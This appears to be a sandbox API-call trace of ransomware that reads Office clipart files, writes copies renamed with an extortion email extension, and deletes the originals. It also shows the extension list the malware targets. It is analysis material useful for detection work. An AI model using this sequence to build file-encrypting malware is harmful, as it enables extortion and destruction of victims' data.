	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.790] lstrlenW (lpString=".doc") returned 4
	[0076.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString=".docx") returned 5
	[0076.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.790] lstrlenW (lpString=".pdf") returned 4
	[0076.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString=".xls") returned 4
	[0076.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.791] lstrlenW (lpString=".xlsx") returned 5
	[0076.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.791] lstrlenW (lpString=".ppt") returned 4
	[0076.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.791] lstrlenW (lpString=".zip") returned 4
	[0076.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.791] lstrlenW (lpString=".rar") returned 4
	[0076.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString=".bz2") returned 4
	[0076.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString=".7z") returned 3
	[0076.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.791] lstrlenW (lpString=".dbf") returned 4
	[0076.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.791] lstrlenW (lpString=".1cd") returned 4
	[0076.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.791] lstrlenW (lpString=".jpg") returned 4
	[0076.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.791] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.791] lstrlenW (lpString="DD00255_.WMF") returned 12
	[0076.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.164] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2690) returned 1
	[0077.165] CloseHandle (hObject=0x35c) returned 1
	[0077.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220
	[0077.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.222] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.222] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.575] GetLastError () returned 0x0
	[0083.575] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xa82, lpOverlapped=0x0) returned 1
	[0083.578] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xa90, lpOverlapped=0x0) returned 1
	[0083.580] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.580] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.580] SetEndOfFile (hFile=0x338) returned 1
	[0083.580] CloseHandle (hObject=0x338) returned 1
	[0083.580] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.580] SetEndOfFile (hFile=0x378) returned 1
	[0083.581] CloseHandle (hObject=0x378) returned 1
	[0083.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1
	[0083.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.581] lstrlenW (lpString=".doc") returned 4
	[0083.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.581] lstrlenW (lpString=".docx") returned 5
	[0083.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.581] lstrlenW (lpString=".pdf") returned 4
	[0083.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString=".xls") returned 4
	[0083.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.582] lstrlenW (lpString=".xlsx") returned 5
	[0083.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.582] lstrlenW (lpString=".ppt") returned 4
	[0083.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString=".zip") returned 4
	[0083.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.582] lstrlenW (lpString=".rar") returned 4
	[0083.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString=".bz2") returned 4
	[0083.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString=".7z") returned 3
	[0083.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString=".dbf") returned 4
	[0083.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString=".1cd") returned 4
	[0083.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString=".jpg") returned 4
	[0083.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.582] lstrlenW (lpString=".doc") returned 4
	[0083.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.582] lstrlenW (lpString=".docx") returned 5
	[0083.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.582] lstrlenW (lpString=".pdf") returned 4
	[0083.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString=".xls") returned 4
	[0083.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.583] lstrlenW (lpString=".xlsx") returned 5
	[0083.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.583] lstrlenW (lpString=".ppt") returned 4
	[0083.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.583] lstrlenW (lpString=".zip") returned 4
	[0083.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.583] lstrlenW (lpString=".rar") returned 4
	[0083.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString=".bz2") returned 4
	[0083.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString=".7z") returned 3
	[0083.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.583] lstrlenW (lpString=".dbf") returned 4
	[0083.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.583] lstrlenW (lpString=".1cd") returned 4
	[0083.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0083.583] lstrlenW (lpString=".jpg") returned 4
	[0083.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.583] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.583] lstrlenW (lpString="DD00413_.WMF") returned 12
	[0083.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.584] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=42992) returned 1
	[0083.584] CloseHandle (hObject=0x378) returned 1
	[0083.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220
	[0083.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.584] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.584] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.584] GetLastError () returned 0x0
	[0083.585] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xa7f0, lpOverlapped=0x0) returned 1
	[0083.594] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xa800, lpOverlapped=0x0) returned 1
	[0083.596] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.596] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.596] SetEndOfFile (hFile=0x338) returned 1
	[0083.596] CloseHandle (hObject=0x338) returned 1
	[0083.596] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.596] SetEndOfFile (hFile=0x378) returned 1
	[0083.597] CloseHandle (hObject=0x378) returned 1
	[0083.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.598] lstrlenW (lpString=".doc") returned 4
	[0083.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString=".docx") returned 5
	[0083.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.598] lstrlenW (lpString=".pdf") returned 4
	[0083.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString=".xls") returned 4
	[0083.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.598] lstrlenW (lpString=".xlsx") returned 5
	[0083.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.598] lstrlenW (lpString=".ppt") returned 4
	[0083.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.598] lstrlenW (lpString=".zip") returned 4
	[0083.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.598] lstrlenW (lpString=".rar") returned 4
	[0083.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString=".bz2") returned 4
	[0083.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString=".7z") returned 3
	[0083.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.598] lstrlenW (lpString=".dbf") returned 4
	[0083.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.598] lstrlenW (lpString=".1cd") returned 4
	[0083.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".jpg") returned 4
	[0083.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".doc") returned 4
	[0083.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString=".docx") returned 5
	[0083.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.599] lstrlenW (lpString=".pdf") returned 4
	[0083.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString=".xls") returned 4
	[0083.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.599] lstrlenW (lpString=".xlsx") returned 5
	[0083.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.599] lstrlenW (lpString=".ppt") returned 4
	[0083.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".zip") returned 4
	[0083.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.599] lstrlenW (lpString=".rar") returned 4
	[0083.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString=".bz2") returned 4
	[0083.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString=".7z") returned 3
	[0083.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".dbf") returned 4
	[0083.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".1cd") returned 4
	[0083.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0083.599] lstrlenW (lpString=".jpg") returned 4
	[0083.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.600] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.600] lstrlenW (lpString="DD00419_.WMF") returned 12
	[0083.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.607] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=712) returned 1
	[0083.607] CloseHandle (hObject=0x38c) returned 1
	[0083.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220
	[0083.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.607] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.607] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.608] GetLastError () returned 0x0
	[0083.608] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2c8, lpOverlapped=0x0) returned 1
	[0083.609] WriteFile (in: hFile=0x384, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0083.610] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.610] WriteFile (in: hFile=0x384, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.610] SetEndOfFile (hFile=0x384) returned 1
	[0083.611] CloseHandle (hObject=0x384) returned 1
	[0083.611] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.611] SetEndOfFile (hFile=0x38c) returned 1
	[0083.611] CloseHandle (hObject=0x38c) returned 1
	[0083.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1
	[0083.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.612] lstrlenW (lpString=".doc") returned 4
	[0083.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.612] lstrlenW (lpString=".docx") returned 5
	[0083.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.613] lstrlenW (lpString=".pdf") returned 4
	[0083.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString=".xls") returned 4
	[0083.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.613] lstrlenW (lpString=".xlsx") returned 5
	[0083.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.613] lstrlenW (lpString=".ppt") returned 4
	[0083.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.613] lstrlenW (lpString=".zip") returned 4
	[0083.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.613] lstrlenW (lpString=".rar") returned 4
	[0083.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString=".bz2") returned 4
	[0083.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString=".7z") returned 3
	[0083.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.613] lstrlenW (lpString=".dbf") returned 4
	[0083.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.613] lstrlenW (lpString=".1cd") returned 4
	[0083.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.613] lstrlenW (lpString=".jpg") returned 4
	[0083.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
